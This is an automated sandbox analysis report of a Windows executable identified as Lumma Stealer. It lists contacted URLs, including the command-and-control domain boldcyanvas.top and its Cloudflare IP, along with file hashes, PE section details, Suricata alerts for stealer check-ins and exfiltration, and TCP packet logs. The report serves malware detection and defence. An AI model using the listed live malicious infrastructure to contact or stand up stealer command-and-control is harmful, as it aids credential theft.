https://BoldCyanvas.top/pi	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1442699683.0000000000E67000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000002.1474766442.0000000000E67000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1472480629.0000000000E66000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1346393166.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://boldcyanvas.top/	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1442699683.0000000000E67000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1358097927.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000002.1474766442.0000000000E67000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1472480629.0000000000E66000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1346393166.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1402036666.0000000000E67000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1361114714.000000000540D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1361029088.0000000005410000.00000004.00000800.00020000.00000000.sdmp	false		high
https://boldcyanvas.top/apiX	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1358097927.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1346393166.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://BoldCyanvas.top/dow	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1373891441.0000000000E67000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://boldcyanvas.top/h	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1388184494.0000000000E67000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1387725348.0000000000E67000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1401985992.00000000053C8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1387982421.00000000053F5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1387982421.00000000053F5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1361114714.000000000540D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1361029088.0000000005410000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1387982421.00000000053F5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1401985992.00000000053C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://BoldCyanvas.top/pi(	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1402036666.0000000000E67000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1401985992.00000000053C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1401985992.00000000053C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://BoldCyanvas.top/ms	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1427793171.0000000000E67000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1424472285.0000000000E67000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1389029658.00000000054E3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1361114714.000000000540D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1361029088.0000000005410000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1401985992.00000000053C8000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.33.245	boldcyanvas.top	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1615203
Start date and time:	2025-02-14 16:31:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/0@1/1
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 2
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.45, 52.149.20.212
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, PID 2120 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
10:32:17	API Interceptor	8x Sleep call for process: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.33.245	t5vT1k9gg6.exe	Get hash	malicious	Amadey, Healer AV Disabler, LummaC Stealer, PureLog Stealer, RedLine, Xorist, zgRAT	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
boldcyanvas.top	t5vT1k9gg6.exe	Get hash	malicious	Amadey, Healer AV Disabler, LummaC Stealer, PureLog Stealer, RedLine, Xorist, zgRAT	Browse	104.21.33.245

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	SecuriteInfo.com.Win32.CrypterX-gen.27676.31428.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.64.1
	https://click-v4.mainexclkdir.com	Get hash	malicious	Unknown	Browse	1.1.1.1
	http://office.biofcnn.com/GrEkVrfg	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	104.19.229.21
	https://click-v4.mainexclkdir.com	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://drive.google.com/uc?export=download&id=1CmHgECvh_EHGsZqLVn0a5drEg1A7U8vx	Get hash	malicious	Unknown	Browse	104.18.41.137
	http://hookersbaits.co.uk	Get hash	malicious	Unknown	Browse	104.17.25.14
	phish_alert_iocp_v1.4.85.eml	Get hash	malicious	Tycoon2FA	Browse	104.17.25.14
	https://link.shoppermeet.net/deep-link?clickid=01H1RW78ZQF6QB5RM2RB5KGV69&geo=us&ip=66.249.66.3&merchantid=108994&propertyid=417896&publisherkey=0f210dc9-c1ef-4153-bd53-8fb98995be03&subid=01GWHNP35ZW7N25QKXMEA9EHVQ&url=%68%74%74%70%73%3A%2F%2F%30%4B%51%32%65%72%33%32%64%36%53%43%47%77%70%48%7A%63%33%32%2E%62%72%69%67%68%74%6E%65%78%73%74%2E%72%75%2F%70%61%78%36%6C%66%31%2F%23%231shawn.murray@murraysecurityservices.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	phish_alert_iocp_v1.4.85.eml	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	104.17.25.14
	https://ntp2.mywavehome.net	Get hash	malicious	Unknown	Browse	188.114.97.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	SecuriteInfo.com.Win32.CrypterX-gen.27676.31428.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.245
	Ux9pGQCe7d.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.245
	t5vT1k9gg6.exe	Get hash	malicious	Amadey, Healer AV Disabler, LummaC Stealer, PureLog Stealer, RedLine, Xorist, zgRAT	Browse	104.21.33.245
	PO-989-34 MT.docx.doc	Get hash	malicious	Unknown	Browse	104.21.33.245
	HFLnponMjX.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.245
	asdasdasdasd.docx.doc	Get hash	malicious	Unknown	Browse	104.21.33.245
	Lumma.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.245
	SecuriteInfo.com.Win32.Evo-gen.7075.31767.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.245
	1w5RpHuliE.exe	Get hash	malicious	Amadey, GCleaner, LummaC Stealer, PureLog Stealer, RedLine, SmokeLoader, Vidar	Browse	104.21.33.245
	SecuriteInfo.com.Win32.Evo-gen.22374.30827.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.245

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.905964390497551
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe
File size:	2'081'280 bytes
MD5:	162da6192789d7ef167fec87876a8a86
SHA1:	1455b48c25ae91b1da9d6d9090c32d2dc78aa90f
SHA256:	ad8cf25c468076baf63542005e18de42c6b66e378895d436f5104421a3f90f6b
SHA512:	ad38ba524476e9a72abbfe70f4f429a8db90c59a3a1824dd529ae7193a67111b831e32b928b875fe6bbb4b61ee553ce4da52b293288f7b3a7400e3b98e90fb23
SSDEEP:	49152:rO/iGvhGGPnUIsmDwZ9xp7xIs7aPqz9YSakl:q/3dPUImHPNIsWPqp1
TLSH:	FAA522AC8B2E3C70C97264FAFBD9AB1DE94D8FED650108250117F13768FD942ED9244A
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L......g............................. J...........@..........................PJ......y ...@.................................W...k..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8a2000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67AD0D06 [Wed Feb 12 21:05:10 2025 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FAC60F77EBAh
push fs
pop ds
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], bl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
mov dword ptr [0000000Ah], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5c057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x5b000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5c1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x5a000	0x5a000	8ddd1a86f10e760f542dca4c4b3c5515	False	0.5948486328125	data	7.151695973517509	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5b000	0x2b0	0x200	bd8350c40e84904c79842ba25da9939e	False	0.794921875	data	6.0281896474839725	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5c000	0x1000	0x200	30c585d2e295399234247bfa9504602e	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x5d000	0x2a5000	0x200	36b6b1994830142a060f6f9cd190c556	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
mnvqthax	0x302000	0x19f000	0x19e600	b8941087aac6aa577b5ec274e19bdfb6	False	0.9942655307315234	data	7.953780400965324	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xzsilril	0x4a1000	0x1000	0x400	67efbd5f95a5691956017b8c77b721fc	False	0.7490234375	data	5.914747479819046	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4a2000	0x3000	0x2200	6f2cf30431e3ccfa359dc6e49e411e31	False	0.05572150735294118	DOS executable (COM)	0.6948969441230747	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4a0314	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-02-14T16:32:17.296746+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49705	104.21.33.245	443	TCP
2025-02-14T16:32:18.211600+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49705	104.21.33.245	443	TCP
2025-02-14T16:32:18.211600+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49705	104.21.33.245	443	TCP
2025-02-14T16:32:18.971811+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49707	104.21.33.245	443	TCP
2025-02-14T16:32:19.532687+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49707	104.21.33.245	443	TCP
2025-02-14T16:32:20.513082+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49718	104.21.33.245	443	TCP
2025-02-14T16:32:21.866710+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49729	104.21.33.245	443	TCP
2025-02-14T16:32:23.277812+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49740	104.21.33.245	443	TCP
2025-02-14T16:32:25.647840+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49751	104.21.33.245	443	TCP
2025-02-14T16:32:26.146787+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49751	104.21.33.245	443	TCP
2025-02-14T16:32:28.097250+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49762	104.21.33.245	443	TCP
2025-02-14T16:32:30.511491+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49776	104.21.33.245	443	TCP
2025-02-14T16:32:31.076296+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49776	104.21.33.245	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 14, 2025 16:32:16.686211109 CET	49705	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:16.686259985 CET	443	49705	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:16.686332941 CET	49705	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:16.693344116 CET	49705	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:16.693367004 CET	443	49705	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:17.296602011 CET	443	49705	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:17.296746016 CET	49705	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:17.300359011 CET	49705	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:17.300370932 CET	443	49705	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:17.300800085 CET	443	49705	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:17.352546930 CET	49705	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:17.768521070 CET	49705	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:17.768554926 CET	49705	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:17.768987894 CET	443	49705	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:18.211673021 CET	443	49705	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:18.212004900 CET	443	49705	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:18.212068081 CET	49705	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:18.225693941 CET	49705	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:18.225723028 CET	443	49705	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:18.482188940 CET	49707	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:18.482234955 CET	443	49707	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:18.482315063 CET	49707	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:18.482676983 CET	49707	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:18.482701063 CET	443	49707	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:18.971707106 CET	443	49707	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:18.971811056 CET	49707	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:18.973098993 CET	49707	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:18.973107100 CET	443	49707	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:18.974153042 CET	443	49707	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:18.975429058 CET	49707	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:18.975449085 CET	49707	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:18.975635052 CET	443	49707	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:19.532787085 CET	443	49707	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:19.532929897 CET	443	49707	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:19.533026934 CET	443	49707	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:19.533092022 CET	49707	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:19.533118010 CET	443	49707	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:19.533147097 CET	443	49707	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:19.533205986 CET	49707	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:19.533231974 CET	443	49707	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:19.533292055 CET	49707	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:19.533334017 CET	443	49707	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:19.533493042 CET	443	49707	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:19.533591032 CET	443	49707	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:19.533638000 CET	49707	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:19.533658028 CET	443	49707	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:19.533711910 CET	49707	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:19.533721924 CET	443	49707	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:19.537364006 CET	443	49707	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:19.537532091 CET	49707	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:19.537554979 CET	443	49707	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:19.586946011 CET	49707	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:19.620966911 CET	443	49707	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:19.621156931 CET	443	49707	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:19.621371031 CET	49707	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:19.621387959 CET	443	49707	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:19.621411085 CET	443	49707	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:19.621506929 CET	49707	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:19.621589899 CET	49707	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:19.621606112 CET	443	49707	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:19.621618986 CET	49707	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:19.621623039 CET	443	49707	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:20.048401117 CET	49718	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:20.048435926 CET	443	49718	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:20.048497915 CET	49718	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:20.048846960 CET	49718	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:20.048860073 CET	443	49718	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:20.512962103 CET	443	49718	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:20.513082027 CET	49718	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:20.514180899 CET	49718	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:20.514189005 CET	443	49718	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:20.514416933 CET	443	49718	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:20.515626907 CET	49718	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:20.515626907 CET	49718	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:20.515671968 CET	443	49718	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:21.204718113 CET	443	49718	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:21.204885006 CET	443	49718	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:21.204946041 CET	49718	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:21.205025911 CET	49718	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:21.205039024 CET	443	49718	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:21.372337103 CET	49729	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:21.372370005 CET	443	49729	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:21.372442961 CET	49729	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:21.372807980 CET	49729	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:21.372818947 CET	443	49729	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:21.866633892 CET	443	49729	104.21.33.245	192.168.2.7
Feb 14, 2025 16:32:21.866709948 CET	49729	443	192.168.2.7	104.21.33.245
Feb 14, 2025 16:32:21.867849112 CET	49729	443	192.168.2.7	104.21.33.245
